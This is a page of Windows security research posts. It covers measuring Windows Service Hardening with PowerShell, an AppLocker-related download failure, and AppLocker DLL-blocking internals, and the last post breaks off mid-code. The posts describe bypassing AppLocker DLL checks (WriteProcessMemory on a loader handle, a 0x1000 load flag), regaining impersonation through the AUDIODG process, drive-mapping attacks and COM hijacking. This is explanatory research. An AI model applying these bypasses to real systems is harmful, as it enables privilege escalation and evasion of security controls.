Before yesterdayTyranid's Lair

# Empirically Assessing Windows Service Hardening

2 January 2020 at 02:26
In the past few years there's been numerous exploits for service to system privilege escalation. Primarily they revolve around the fact that system services typically have impersonation privilege. What this means is given access to a suitable token handle of an administrator (say through the Rotten Potato attack) you can impersonate and elevate from a lower-privileged service account to SYSTEM. The problem for discovers of these attacks is that Microsoft do not consider them something which needs to be fixed with a security bulletin, as having SeImpersonatePrivilege is basically a massive security hole. However MS go and fix them silently making it unclear if they care or not.

Of course, none of this is really new, Cesar Cerrudo detailed these sorts of service attacks in Token Kidnapping and Token Kidnapping's Revenge. The novel element recently is how to get hold of the access token, for example via negotiating local NTLM authentication. Microsoft seem to have been fighting this fire for almost 10 years and still have not gotten it right. In shades of UAC, a significant security push to make services more isolated and secure has been basically abandoned because (presumably) MS realized it was an indefensible boundary.

That's not to say there hasn't been interesting service account to SYSTEM bugs which Microsoft have fixed. The most recent example is CVE-2019-1322 which was independently discovered by multiple parties (DonkeysTeamIlias Dimopoulos and Edward Torkington/Phillip Langlois of NCC). To understand the bug you probably should read up one of the write-ups (NCC one here) but the gist is, the Update Orchestrator Service has a service security descriptor which allowed "NT AUTHORITY\SERVICE" full access. It so happens that all system services, including lower-privileged ones have this group and so you could reconfigure the service (which was running as SYSTEM) to point to any other binary giving a direct service to SYSTEM privilege escalation.

That begs the question, why was CVE-2019-1322 special enough to be fixed and not issues related to impersonation? Perhaps it's because this issue didn't rely on impersonate privileges being present? It is possible to configure services to not have impersonate privilege, so presumably if you could go from a non-impersonate service to an impersonate service that would count as a boundary? Again probably not, for example this bug which abuses the scheduled task service to regain impersonate privilege wouldn't likely be fixed by Microsoft.

That lack of clarity is why I tweeted to Nate Warfield and ultimately to Matt Miller asking for some advice with respect to the MSRC Security Servicing Guidelines. The result is, even if the service doesn't have impersonate privilege it wouldn't be a defended boundary if all you get is the same user with additional privileges as you can't block yourself from compromising yourself. This is the UAC argument over again, but IMO there's a crucial difference, Windows Service Hardening (WSH) was supposed to fix this problem for us in Vista. Unsurprisingly Cesar Cerrudo also did a presentation about this at the inaugural (maybe?) Infiltrate in 2011.

The question I had was, is WSH still as broken as it was in 2011? Has anything changed which made WSH finally live up to its goal of making a service compromise not equal to a full system compromise? To determine that I thought I'd run an experiment on Windows 10 1909. I'm only interested in the features which WSH touches which led me to the following hypothesis:

"Under Windows Service Hardening one service without impersonate privilege can't write to the resources of another service which does have the privilege, even if the same user, preventing full system compromise."

The hypothesis makes the assumption that if you can write to another service's resources then it's possible to compromise that other service. If that other service has SeImpersonatePrivilege then that inevitably leads to full system compromise. Of course that's not necessarily the case, the resource being written to might be uninteresting, however as a proxy this is sufficient as the goal of WSH is to prevent one service modifying the data of another even though they are the same underlying user.

### WSH Details

Before going into more depth on the experiment, let's quickly go through the various features of WSH and how they're expressed. If you know all this you can skip to the description of the experiment and the results.

#### Limited Service Accounts and Reduced Privilege

This feature is by far the oldest attempt to harden services, the introduction of the LOCAL SERVICE (LS) and NETWORK SERVICE (NS) accounts. Prior to the accounts introduction there was only two ways of configuring the user for a system service on Windows, either the fully privileged SYSTEM account or creating a local/domain user which has the "Log on as a Service" right. The two accounts where introduced in XP SP2 (I believe) after worms such as Blaster basically got SYSTEM privilege through remotely attacking exposed services. The two service accounts are not administrator accounts which means they shouldn't be able to directly compromise the system. The accounts are very similar on Windows 10 1909, they are both assigned the following groups*:

BUILTIN\Users
CONSOLE LOGON
Everyone
LOCAL
NT AUTHORITY\Authenticated Users
NT AUTHORITY\LogonSessionId_X_Y
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization

* Technically this isn't 100% accurate, on my machine the LS account has some extra capability groups, but we'll ignore those for this blog post.

No Administrator group in sight. Each service token gets a unique Logon Session ID SID which will be important later. The service accounts also have a limited set of privileges, as shown below:

SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeSystemTimePrivilege†
SeTimeZonePrivilege
SeUndockPrivilege

† NETWORK SERVICE doesn't have SeSystemTimePrivilege.

The two privileges I've highlighted, SeAssignPrimaryTokenPrivilege and SeImpersonatePrivilege give these accounts effectively full system access when combined with a suitable privileged token. Part of WSH is also giving control over what privileges the service account actually requires. The default is to allow all privileges, however when configuring a service you can specify a list of privileges to restrict the service to. For example the CDPSvc service is configured to only require SeImpersonatePrivilege. Quite why they bother to put this restriction on the service I don't know ¯\_(ツ)_/¯.

What's the difference between LS and NS? The primary difference is LS has no network credentials, so accessing network resources as that user would only succeed as an anonymous login. NS on the other hand is created with the credentials of the computer account and so can interact with the network for resources allowed by that authentication. This only really matters to domain joined machines, standalone machines would not share the computer account with anyone else.

#### Per-Service SID

The first big addition in WSH was the Per-Service SID. This SID is automatically added to the group list of default groups shown previously by the SCM when creating the service's primary token. The service SID is also added with the SE_GROUP_OWNER flag set and is not mandatory, which means it can be set as the token's default owner when creating new resources and it can disabled. The basic idea is a service can ACL its resources to this SID to prevent other services from accessing them. The use of a service SID is optional, but the majority of default services are configured to use it. An example SID for CDPSvc is as follows:

S-1-5-80-3433512109-503559027-1389316256-1766580070-2256751264

The SID is derived by generating a SHA1 hash of the service name and adding that as the SID's RIDs (with an extra 80 at the start to signify it's a service SID). The use of a hash should make it extremely unlikely two services would generate the same SID.

Of course it's up to the service to actually ACL their resources appropriately. To aid in that the token's default DACL is also configured to the following (for CDPSvc):

- Type  : Allowed
- Name  : NT AUTHORITY\SYSTEM
- Access: Full Access

- Type  : Allowed
- Name  : OWNER RIGHTS

- Type  : Allowed
- Name  : NT SERVICE\CDPSvc
- Access: Full Access

The three entries grant SYSTEM and the service SID full access to any resources with this DACL. It then limits the owner of the resource through OWNER RIGHTS to only READ_CONTROL access. This directly prevents one service account accessing the resources of another for write access. Unfortunately the default DACL is only applied when there's no other access control specified, either explicitly at creation time or due to inheritance.

One other thing to point out is that Windows still has shared services through the use of SVCHOST. If multiple services are registered in a specific SVCHOST instance then the SCM will create the token with all service SIDs in the group list and default DACL even if a service isn't currently loaded in the host. That has become less of an issue since Windows 1703, as long as you have greater that 3.5GB of RAM services will run in separate SVCHOST instances and all services will be totally separate.

#### Write-Restricted Token

The second big addition to WSH was the concept of Write-Restricted (WR) tokens. Restricted token's have existed since Windows 2000 and are created using the NtFilterToken system call. The basic concept is the token can have a list of additional groups which are consulted when ever an access check is performed. First the access check is run on the default group list, if access would be granted the access check is run again on the restricted SIDs. If the second check is successful then the access check passes, if not access is denied.

Restricted tokens are used for sandboxing (such as in Chrome) but are difficult to setup correctly as it blocks all access equally including reading critical files on disk. WR tokens solve the access problem by only blocking write access but leaving read and execute access alone.

In order for a service configured as WR to write to a resource the associated security descriptor must contain the required access for one of the following restricted SIDs.

Everyone
NT AUTHORITY\LogonSessionId_X_Y
NT AUTHORITY\WRITE RESTRICTED
NT SERVICE\SERVICE_NAME

The WRITE RESTRICTED SID is a special group SID which resources can apply if they expect a service to write to the resource. This SID is also added to the token's groups by the SCM so that it can be used to pass both checks. By combining service SIDs and WR the amount of resources a service can modify should be significantly reduced.

#### And the Rest

There's a few things which are technically part of service hardening which won't really consider for the experiment:

The main one is additional rules in the firewall to block network services or requests being made from a service. This is arguably more to prevent remote compromise than it is to prevent cross-service attacks.

Another is Session 0 Isolation and System Integrity Level. Session 0 Isolation was introduced to prevent Shatter Attacks, by preventing any windows being created by a service on the same desktop as a normal user. System Integrity Level through UIPI then prevents attacks even if the service did create a window on a normal user desktop as it'd be at a much higher IL (even than Administrators). The System IL does admittedly also have a security access check function but it's not that important for cross-service attacks.

### Experiment Procedure

On to the experiment itself. Based on the hypothesis I presented earlier the goal is to determine if you can write to resources of one service from another service even though they're the same user. To make this testable I decided on the following procedure:

Step 1: Build an access token for a service which doesn't exist on the system.
Step 2: Enumerate all resources of a specific type which are owned by the token owner and perform an access check using the token.
Step 3: Collate the results based on the type of resource and whether write access was granted.

The reason for choosing to build a token for a non-existent service is it ensures we should only see the resources that could be shared by other services as the same user, not any resources which are actually designed to be accessible by being created by a service. These steps need to be repeated for different access tokens, we'll use the following five:
• LOCAL SERVICE
• LOCAL SERVICE, Write Restricted
• NETWORK SERVICE
• NETWORK SERVICE, Write Restricted
• Control
We'll test both normal service SID and WR versions of the access token to see if it makes much of a difference. One thing to determine is what to use as a control. Ideally the control would be another service account with WSH disabled. However I couldn't find a way to disable WSH entirely to do this test, so instead we need some other control. If our hypothesis holds and WSH is effective we'd expect no resources to be writable, therefore we need to pick a control account where we know this is not true. The easiest is just to use the current logged on user account, it should be able to access almost all its own resources.

What resources do we want to inspect? The obvious type is Process/Thread resources. Getting write access to either of these in another service is probably a trivial to get full system compromise through impersonate. We'd want to get a bigger picture however, it'd be useful to include Files, Registry keys and Named Kernel Objects. These resources might not directly lead to compromise but it does give us a general idea of the maximum impact.

It's worth noting that the hypothesis made a point to specify writing to the resources of a service which has impersonate privilege from one which does not. However this experimental process will only base the analysis on whether the resource is owned by the service user. This is intentional, it'd be too complex to attribute the resource to a specific service in all cases. However an assumption is made that more services running as a specific user have impersonate privilege than do not, therefore in all probability any resource you can write to is probably owned by one of them. We could verify that assumption if we liked, but I'll probably not.

Finally, a good experiment should be something which can be repeatable and verifiable. To that end I'll provide all the code necessary to perform the steps, written in PowerShell and using my NtObjectManager module. If you want to re-run the experiment you should be able to do so and produce a very similar set of results.

### Experiment Procedure Detail

On to specific PowerShell steps to perform the experiment. First off you'll need my NtObjectManager module, specifically at least version 1.1.25 as I've added a few extra commands to simplify the process. You will also need to run all the commands as the SYSTEM user, some command will need it (such as getting access tokens) others benefit for the elevated privileges. From an admin command prompt you can create a SYSTEM PowerShell console using the following command:

Start-Win32ChildProcess -RequiredPrivilege SeTcbPrivilege,SeBackupPrivilege,SeRestorePrivilege,SeDebugPrivilege powershell

This command will find a SYSTEM process to create the new process from which also has, at a minimum, the specified list of privileges. Due to the way the process is created it'll also have full access to the current desktop so you can spawn GUI applications running at system if you need them.

The experiment will be run on a VM of Windows 1909 Enterprise updated to December 2019 from a split-token admin user account. This just ensures the minimum amount of configuration changes and additional software is present. Of course there's going to be variability on the number of services running at any one time, there's not a lot which can be done about that. However it's expected that the result should be same even if the individual resources available are not. If you were concerned you could rerun the experiment on multiple different installs of Windows at different times of day and aggregate the results.

We need to create 5 access tokens for the test. Ideally we'd like to create the four service tokens using the exact method used by the SCM. We could register our unknown service and start the service to steal its token. There is also an undocumented RGetServiceProcessToken SCM RPC method in newer versions of Windows 10. However I think creating a service risks some resources being populated with that service's identity which might not be what we really want. Instead we can use LogonUserExExW which is what the SCM uses, with the LOGON32_LOGON_SERVICE type to create LS and NS tokens. This will work as long as we have SeTcbPrivilege. We'll then just add the appropriate groups, convert to WR,  and remove privileges as necessary. We can get to the LogonUserExExW API using Get-NtToken. I've wrapped up everything into a function Get-ServiceToken, you can see the full function in the final script. Using this function we can create all the tokens we need using the following commands:

$tokens = @()$tokens += Get-ServiceToken LocalService FakeService
$tokens += Get-ServiceToken LocalService FakeService -WriteRestricted$tokens += Get-ServiceToken NetworkService FakeService
$tokens += Get-ServiceToken NetworkService FakeService -WriteRestricted For the control token we'll get the unmodified session access token for the current desktop. Even though we're running as SYSTEM as we're running on the same desktop we can just use the following command:$tokens += Get-NtToken -Session -Duplicate

Random note. When calling LogonUserExExW and requesting a service SID as an additional group the call will fail with access denied. However this only happens if the service SID is the first NT Authority SID in the additional groups list. Putting any other NT Authority SID, including our new logon session SID before the service SID makes it work. Looking at the code in LSASRV (possibly the function LsapCheckVirtualAccountRestriction) it looks like the use of a service SID should be restricted to the first process (based on its PID) that used a service SID which would be the SCM. However if another NT Authority SID is placed first the checking loop sets a boolean flag which prevents the loop checking any more SIDs and so the service SID is ignored. I've no idea if this is a bug or not, however as you need TCB privilege to set the additional groups I don't think it's a security issue.

#### Resource Checking and Result Collation

With the 5 tokens in hand we can progress to assessing accessible resources. The original purpose of my Sandbox Analysis tools was finding accessible resources from a sandbox process, however the same code is capable of finding resources accessible from any access token, including service tokens.

First as way of example lets run checks for process and threads:

$ps = Get-AccessibleProcess -Tokens$tokens 
-CheckMode ProcessOnly -AllowEmptyAccess
$ts = Get-AccessibleProcess -Tokens$tokens

We can pass a list of tokens to the checking command, this improves performance as we only do the enumeration of resources for every token group then do the access check. Each generated access result has a TokenId property which indicates the unique ID of the token which was used for the check, this allows us to extract the correct results later. We also specify the AllowEmptyAccess option, which will generate a result even if the access check fails and the token has no access to the resource. This will be useful to allow us to assess what resources are owned by the token's owner SID but we were not granted access.

Let's do the rest of the resources:

$os = Get-AccessibleObject \ -Recurse  -Tokens$tokens -AllowEmptyAccess
$fs = Get-AccessibleFile -Win32Path "$env:SystemDrive\"
-FormatWin32Path -Recurse -Tokens $tokens -AllowEmptyAccess$ks = Get-AccessibleKey \Registry -FormatWin32Path -Recurse 
-Tokens $tokens -AllowEmptyAccess We'll only get the accessible files on the system drive in this case as that'll be the only drive in the VM. Note that Get-AccessibleObject doesn't check ALPC ports, it's not possible to open an ALPC port by name and read its security descriptor. We'll ignore ALPC ports for this experiment, as it's probably worthy of a topic all on its own. We now have all the results we need in five variables along with the tokens. If you want to run it yourself the final script is on Github here. It'll take a fair amount of time to run but once it's complete you'll find 5 CSV files in the current directory containing the results for each token. ### Experiment Results We now need to do our basic analysis of the results. Let's start with calculating the percentage of writable resources for each token type relative to the total number of resources. From my single experiment run I got the following table:  Token Writable Writable (WR) Total Control 99.83% N/A 13171 Network Service 65.00% 0.00% 300 Local Service 62.89% 0.70% 574 As we expected the control token had almost 100% of the owned resources writable by the user. However for the two service accounts both had over 60% of their owned resources writable when using an unrestricted token. That level is almost completely eliminated when using a WR token, there were no writable resources for NS and only 4 resources writable from LS, which was less than 1%. Those 4 resources were just Events, from a service perspective not very exciting though there were ACL'ed to everyone which is unusual. Just based on these numbers alone it would seem that WSH really is a failure when used unrestricted but is probably fine when used in WR mode. It'd be interesting to dig into what types are writable in the unrestricted mode to get a better understanding of where WSH is failing. This is what I've summarized in the following table:  Type LS Writable% LS Writable NS Writable% NS Writable Directory 0.28% 1 0.51% 1 Event 1.66% 6 0.51% 1 File 74.24% 268 48.72% 95 Key 22.44% 81 49.23% 96 Mutant 0.28% 1 0.51% 1 Process 0.28% 1 0.00% 0 Section 0.55% 2 0.00% 0 SymbolicLink 0.28% 1 0.51% 1 Thread 0.00% 0 0.00% 0 The clear winners, if there is such a thing is Files and Registry Keys taking up over 95% of the resources which are writable. Based on what we know about how WSH works this is understandable. The likelihood is any keys/files are getting their security through inheritance from the parent container. This will typically result in at least the owner field being the service account granted WRITE_DAC access, or the inherited DACL will contain an OWNER CREATOR SID which results an explicit access for the service account. What is perhaps more interesting is the results for Processes and Threads, neither NS or LS have any writable threads and only LS has a single writable process. This primary reason for the lack of writable threads and processes is due to the default DACL which is used for new processes when an explicit DACL isn't specified. The DACL has a OWNER RIGHTS SID granted only READ_CONTROL access, the result is that even if the owner of the resource is the service account it isn't possible to write to it. The only way to get full access as per the default DACL is by having the specific service SID in your group list. Why does LS have one writable process? This I think is probably a "bug" in the Audio Service which creates the AUDIODG process. If we look at the security descriptor of the AUDIODG process we see the following: <Owner> - Name : NT AUTHORITY\LOCAL SERVICE <DACL> - Type : Allowed - Name : NT SERVICE\Audiosrv - Access: Full Access - Type : Allowed - Name : NT AUTHORITY\Authenticated Users - Access: QueryLimitedInformation The owner is LS which will grant WRITE_DAC access to the resource if nothing else is in the DACL to stop it. However the default DACL's OWNER RIGHTS SID is missing from the DACL, which means this was probably set explicitly by the Audio Service to grant Authenticated Users query access. This results in the access not being correctly restricted from other service accounts. Of course AUDIODG has SeImpersonatePrivilege so if you find yourself inside a LS unrestricted process with no impersonate privilege you can open AUDIODG (if running) for WRITE_DAC, change the DACL to grant full access and get back impersonate privileges. If you look at the results one other odd thing you'll notice is that while there are readable threads there are no readable processes, what's going on? If we look at a normal LS service process' security descriptor we see the following: <Owner> - Name : NT AUTHORITY\LogonSessionId_0_202349 <DACL> - Type : Allowed - Name : NT AUTHORITY\LogonSessionId_0_202349 - Access: Full Access - Type : Allowed - Name : BUILTIN\Administrators - Access: QueryInformation|QueryLimitedInformation We should be able to see the reason, the owner is not LS, but instead the logon session SID which is unique per-service. This blocks other LS processes from having any access rights by default. Then the DACL only grants full access to the logon session SID, even administrators are apparently not the be trusted (though they can typically just bypass this using SeDebugPrivilege). This security descriptor is almost certainly set explicitly by the SCM when creating the process. Is there anything else interesting in writable resources outside of the files and keys? The one interesting result shared between NS and LS is a single writable Object Directory. We can take a look at the results to find out what directories these are, to see if they share any common purpose. The directory paths are \Sessions\0\DosDevices\00000000-000003e4 for NS and \Sessions\0\DosDevices\00000000-000003e5 for LS. These are the service account's DOS Device directory, the default location to start looking up drive mappings. As the accounts can write to their respective directory this gives another angle of attack, you can compromise any service process running as the same used by dropping a mapping for the C: drive and waiting the process to load a DLL. Leaving that angle open seems sloppy, but it's not like there are no alternative routes to compromise another service. I think that's the limit of my interest in analysis. I've put my results up on Google Drive here if you want to play around yourself. ### Conclusions Even though I've not run the experiment on multiple machines, at different times with different software I think I can conclude that WSH does not provide any meaningful security boundary when used in its default unrestricted mode. Based on the original hypothesis we can clearly write to resources not created by a service and therefore could likely fully compromise the system. The implementation does do a good job of securing process and thread resources which provide trivial elevation routes but that can be easily compromised if there's appropriate processes running (including some COM services). I can fully support this not being something MS would want to defend through issuing bulletins. However when used in WR mode WSH is much more comprehensive. I'd argue that as long as a service doesn't have impersonate privilege then it's effectively sandboxed if running in with a WR token. MS already support sandbox escapes as a defended boundary so I'm not sure why WR sandboxes shouldn't also be included as part of that. For example if the trick using the Task Scheduler worked from a WR service I'd see that as circumventing a security boundary, however I don't work in MSRC so I have no influence on what is or is not fixed. Of course in an ideal world you wouldn't use shared accounts at all. Versions of Windows since 7 have support for Virtual Service Accounts where the service user is the service SID rather than a standard service account and the SCM even limits the service's IL to High rather than System. Of course by default these accounts still have impersonate privilege, however you could also remove that. # The Mysterious Case of a Broken Virus Scanner 6 December 2019 at 03:08 On my VM (with a default Windows 10 1909) I used for my series of AppLocker I wanted to test out the new Edge. I opened the old Edge and tried to download the canary installer, however the download failed, Edge said the installer had a virus and it'd been deleted. How rude! I also tried the download in Chrome on the same machine with the same result, even ruder! Oddly it worked if I turned off DLL Rule Enforcement, but not when I enabled it again. My immediate thought might be the virus checking was trying to map the executable and somehow it was hitting the DLL verification callback and failing as the file was in my Downloads folder which is not in the default rule set. That seemed pretty unlikely, however clearly something was being blocked from running. Fortunately AppLocker maintains an Audit Log under "Applications and Services Logs -> Microsoft -> Windows -> AppLocker -> EXE and DLL" so we can quickly diagnose the failure. The failing DLL load was for "%OSDRIVE%\PROGRAMDATA\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.1910.4-0\MPOAV.DLL". This makes sense, the default rules only permit %WINDOWS% and %PROGRAMFILES% for normal users, however %OSDRIVE%\ProgramData is not allowed. This is intentional as you don't want to grant access to locations a normal user could write to, so generally allowing all of %ProgramData% would be asking for trouble. [update:20191206] of course this is known about (I'm not suggesting otherwise), AaronLocker should allow this DLL by default. I thought it'd at least be interesting to see why it fails and what MPOAV is doing. As the same failure occurred in both Edge (I didn't test IE) and Chrome it was clearly some common API they were calling. As Chrome is open source it made more sense to look there. Tracking down the resource string for the error lead me to this code. The code was using the Attachment Services API. Which is a common interface to verify downloaded files and attachments, apply MOTW and check for viruses. When the IAttachmentExecute::Save method is called the file is checked for viruses using the currently registered anti-virus COM object which implements the IOfficeAntiVirus interface. The implementation for that COM class is in MPOAV.DLL, which as we saw is blocked so the COM object creation fails. And a failure to create the object causes the Save method to fail and the Attachment Services code to automatically delete the file so the browser can't even do anything about it such as ask the user. Ultra rude! You might wonder how is this COM class is registered? An implementor needs to register their COM object with a Category ID of "{56FFCC30-D398-11d0-B2AE-00A0C908FA49}". If you have OleViewDotNet setup (note there are other tools) you can dump all registered classes using the following PowerShell command: Get-ComCategory -CatId '56FFCC30-D398-11d0-B2AE-00A0C908FA49' | Select -ExpandProperty ClassEntries On a default installation of Windows 10 you should find a single class, "Windows Defender IOfficeAntiVirus implementation" registered which is implemented in the MPOAV DLL. We can try and create the class with DLL enforcement to convince ourselves that's the problem: No doubt this has been documented before (and I've not looked [update:20191206] of course Hexacorn blogged about it) but you could probably COM hijack this class (or register your own) and get notified of every executable downloaded by the user's web browser. Perhaps even backdoor everything. I've not tested that however ;-) This issue does demonstrate a common weakness with any application allow-listing solution. You've got to add a rule to allow this (probably undocumented) folder in your DLL rules. Or you could allow-list all Microsoft Defender certificates I suppose. Potentially both of these criteria could change and you end up having to fix random breakage which wouldn't be fun across a large fleet of machines. It also demonstrates a weird issue with attachment scanning, if your AV is somehow misconfigured things will break and there's no obvious reason why. Perhaps we need to move on from using outdated APIs to do this process or at least handle failure better. # The Internals of AppLocker - Part 4 - Blocking DLL Loading 21 November 2019 at 06:42 This is part 4 in a short series on the internals of AppLocker (AL). Part 1 is here, part 2 here and part 3 here. As I've mentioned before this is how AL works on Windows 10 1909, it might differ on other versions of Windows. In the first three parts of this series I covered the basics of how AL blocked process creation. We can now tackle another, optional component, blocking DLL loading. If you dig into the Group Policy Editor for Windows you will find a fairly strong warning about enabling DLL rules for AL: It seems MS doesn't necessarily recommend enabling DLL blocking rules, but we'll dig in anyway as I can't find any official documentation on how it works and it's always interesting to better understand how something works before relying on it. We know from the part 1 that there's a policy for DLLs in the DLL.Applocker file. We might as well start with dumping the Security Descriptor from the file using the Format-AppLockerSecurityDescriptor function from part 3, to check it matches our expectations. The DACL is as follows: - Type : AllowedCallback - Name : Everyone - Access: Execute|ReadAttributes|ReadControl|Synchronize - Condition: APPID://PATH Contains "%WINDIR%\*" - Type : AllowedCallback - Name : Everyone - Access: Execute|ReadAttributes|ReadControl|Synchronize - Condition: APPID://PATH Contains "%PROGRAMFILES%\*" - Type : AllowedCallback - Name : BUILTIN\Administrators - Access: Execute|ReadAttributes|ReadControl|Synchronize - Condition: APPID://PATH Contains "*" - Type : Allowed - Name : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES - Access: Execute|ReadAttributes|ReadControl|Synchronize - Type : Allowed - Name : APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES - Access: Execute|ReadAttributes|ReadControl|Synchronize Nothing shocking here, just our rules written out in a security descriptor. However it gives us a hint that perhaps some of the enforcement is being done inside the kernel driver. Unsurprisingly if you look at the names in APPID you'll find a function called SrpVerifyDll. There's a good chance that's our target to investigate. By chasing references you'll find the SrpVerifyDll function being called via a Device IO control code to an device object exposed by the APPID driver (\Device\SrpDevice). I'll save you the effort of reverse engineering, as it's pretty routine. The control code and input/output structures are as follows: // 0x225804 #define IOCTL_SRP_VERIFY_DLL CTL_CODE(FILE_DEVICE_UNKNOWN, 1537, \ METHOD_BUFFERED, FILE_READ_DATA) struct SRP_VERIFY_DLL_INPUT { ULONGLONG FileHandle; USHORT FileNameLength; WCHAR FileName[ANYSIZE_ARRAY]; }; struct SRP_VERIFY_DLL_OUTPUT { NTSTATUS VerifyStatus; }; Looking at SrpVerifyDll itself there's not much to really note. It's basically very similar to the verification done for process creation I described in detail in part 2 and 3: 1. An access check token is captured and duplicated. If the token is restricted query for the logon session token instead. 2. The token is checked whether it can bypass policy by being SANDBOX_INERT or a service. 3. Security attributes are gathered using AiGetFileAttributes on the passed in file handle. 4. Security attributes set on token using AiSetTokenAttributes. 5. Access check performed using policy security descriptor and status result written back to the Device IO Control output. It makes sense the the security attributes have to be recreated as the access check needs to know the information about the DLL being loaded not the original executable. Even though a file name is passed in the input structure as far as I can tell it's only used for logging purposes. There is one big difference in step 1 where the token is captured over the one I documented in part 3. In process blocking if the current token was a non-elevated UAC token then the code would query for the full elevated token and use that to do the access check. This means that even if you were creating a process as the non-elevated user the access check was still performed as if you were an administrator. In DLL blocking this step does not take place, which can lead to a weird case of being able to create a process in any location, but not being able to load any DLLs in the same directory with the default policy. I don't know if this is intentional or Microsoft just don't care? Who calls the Device IO Control to verify the DLL? To save me some effort I just set a breakpoint on SrpVerifyDll in the kernel debugger and then dumped the stack to find out the caller: Breakpoint 1 hit appid!SrpVerifyDll: fffff80338cff100 48895c2410 mov qword ptr [rsp+10h],rbx 0: kd> kc # Call Site 00 appid!SrpVerifyDll 01 appid!AipDeviceIoControlDispatch 02 nt!IofCallDriver 03 nt!IopSynchronousServiceTail 04 nt!IopXxxControlFile 05 nt!NtDeviceIoControlFile 06 nt!KiSystemServiceCopyEnd 07 ntdll!NtDeviceIoControlFile 08 ADVAPI32!SaferpIsDllAllowed 09 ADVAPI32!SaferiIsDllAllowed 0a ntdll!LdrpMapDllNtFileName 0b ntdll!LdrpMapDllFullPath 0c ntdll!LdrpProcessWork 0d ntdll!LdrpLoadDllInternal 0e ntdll!LdrpLoadDll Easy, it's being called from the function SaferiIsDllAllowed which is being invoked from LdrLoadDll. This of course makes perfect sense, however it's interesting that NTDLL is calling a function in ADVAPI32, has MS never heard of layering violations? Let's look into LdrpMapDllNtFileName which is the last function in NTLL before the transition to ADVAPI32. The code which calls SaferiIsDllAllowed looks like the following: NTSTATUS status; if ((LoadInfo->LoadFlags & 0x100) == 0 && LdrpAdvapi32DllHandle) { status = LdrpSaferIsDllAllowedRoutine( LoadInfo->FileHandle, LoadInfo->FileName); } The call to SaferiIsDllAllowed is actually made from a global function pointer. This makes sense as NTDLL can't realistically link directly to ADVAPI32. Something must be initializing these values, and that something is LdrpCodeAuthzInitialize. This initialization function is called during the loader initialization process before any non-system code runs in the new process. It first checks some registry keys, mostly importantly whether "\Registry\Machine\System\CurrentControlSet\Control\Srp\GP\DLL" has any sub-keys, and if so it proceeds to load the ADVAPI32 library using LdrLoadDll and query for the exported SaferiIsDllAllowed function. It stores the DLL handle in LdrpAdvapi32DllHandle and the function pointer 'XOR' encrypted in LdrpSaferIsDllAllowedRoutine. Once SaferiIsDllAllowed is called the status is checked. If it's not STATUS_SUCCESS then the loader backs out and refuses to continue loading the DLL. It's worth reiterating how different this is from WDAC, where the security checks are done inside the kernel image mapping process. You shouldn't be able to even create a mapped image section which isn't allowed by policy when WDAC is enforced. However with AL loading a DLL is just a case of bypassing the check inside a user mode component. If we look back at the calling code in LdrpMapDllNtFileName we notice there are two conditions which must be met before the check is made, the LoadFlags must not have the flag 0x100 set and LdrpAdvapi32DllHandle must be non-zero. The most obvious condition to modify is LdrpAdvapi32DllHandle. If you already have code running (say VBA) you could use WriteProcessMemory to modify the memory location of LdrpAdvapi32DllHandle to be 0. Now any calls to LoadLibrary will not get verified and you can load any DLL you like outside of policy. In theory you might also be able to get the load of ADVAPI32 to fail. However unless LdrLoadDll returns STATUS_NOT_FOUND for the DLL load then the error causes the process to fail during initialization. As ADVAPI32 is in the known DLLs I can't see an easy way around this (I tried by renaming the main executable trick from the AMSI bypass). The other condition, the LoadFlags is more interesting. There still exists a documented LOAD_IGNORE_CODE_AUTHZ_LEVEL flag you can pass to LoadLibraryEx which used to be able to bypass AppLocker DLL verification. However, as with SANDBOX_INERT this in theory was limited to only System and TrustedInstaller with KB2532445, although according to Stefan Kanthak it might not be blocked. That said I can't get this flag to do anything on Windows 10 1909 and tracing through LdrLoadDll it doesn't look like it's ever used. Where does this 0x100 flag come from then? Seems it's set by the LDrpDllCharacteristicsToLoadFlags function at the start of LdrLoadDll. Which looks like the following: int LdrpDllCharacteristicsToLoadFlags(int DllCharacteristics) { int load_flags = 0; // ... if (DllCharacteristics & 0x1000) load_flags |= 0x100; return load_flags; } If we pass in 0x1000 as a DllCharacteristics flag (this doesn't seem to work by putting it in the DLL PE headers as far as I can tell) which is the second parameter to LdrLoadDll then the DLL will not be verified against the DLL policy. The DLL Characteristic flag 0x1000 is documented as IMAGE_DLLCHARACTERISTICS_APPCONTAINER but I don't know what API sets this flag in the call to LdrLoadDll. My original guess was LoadPackagedLibrary but that doesn't seem to be the case. A simple PowerShell script to test this flag is below: If you run Start-Dll "Path\To\Any.DLL" where the DLL is not in an allowed location you should find it fails. However if you run Start-Dll "Path\To\Any.DLL" 0x1000 you'll find the DLL now loads. Of course realistically the DLL blocking is really more about bypassing the process blocking by using the DLL loader instead. Without being able to call LdrLoadDll or writing to process memory it won't be easy to bypass the DLL verification (but of course it will not impossible). This is the last part on AL for a while, I've got to do other things. I might revisit this topic later to discuss AppX support, SmartLocker and some other fun tricks. # The Internals of AppLocker - Part 3 - Access Tokens and Access Checking 20 November 2019 at 06:30 This is part 3 in a short series on the internals of AppLocker (AL). Part 1 is here, part 2 here and part 4 here. In the last part I outlined how process creation is blocked with AL. I crucially left out exactly how the rules are processed to determine if a particular user was allowed to create a process. As it makes more sense to do so, we're going to go in reverse order from how the process was described in the last post. Let's start with talking about the access check implemented by SrppAccessCheck. ### Access Checking and Security Descriptors For all intents the SrppAccessCheck function is just a wrapper around a specially exported kernel API SeSrpAccessCheck. While the API has a few unusual features for this discussion might as well assume it to be the normal SeAccessCheck API. A Windows access check takes 4 main parameters: • SECURITY_SUBJECT_CONTEXT which identifies the caller's access tokens. • A desired access mask. • A GENERIC_MAPPING structure which allows the access check to convert generic access to object specific access rights. • And most importantly, the Security Descriptor which describes the security of the resource being checked. Let's look at some code. NTSTATUS SrpAccessCheckCommon(HANDLE TokenHandle, BYTE* Policy) { SECURITY_SUBJECT_CONTEXT Subject = {}; ObReferenceObjectByHandle(TokenHandle, &Subject.PrimaryToken); DWORD SecurityOffset = *((DWORD*)Policy+4) PSECURITY_DESCRIPTOR SD = Policy + SecurityOffset; NTSTATUS AccessStatus; if (!SeSrpAccessCheck(&Subject, FILE_EXECUTE &FileGenericMapping, SD, 